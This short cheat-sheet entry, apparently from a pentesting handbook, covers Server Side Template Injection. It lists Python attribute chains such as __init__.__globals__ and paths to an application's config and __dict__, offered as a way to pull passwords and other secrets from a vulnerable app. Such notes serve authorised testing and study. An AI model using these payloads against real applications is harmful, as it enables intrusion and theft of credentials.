## Server Side Template Injection

Interesting functions to exploit this vulnerability 

```text
__init__.__globals__
__class__.__init__.__globals__
```

Inside the response search for the application \(probably at the end?\)

Then **access the environment content** of the application where you will hopefully find **some passwords** of interesting information:

```text
__init__.__globals__[<name>].config
__init__.__globals__[<name>].__dict__
__init__.__globals__[<name>].__dict__.config
__class__.__init__.__globals__[<name>].config
__class__.__init__.__globals__[<name>].__dict__
__class__.__init__.__globals__[<name>].__dict__.config
```
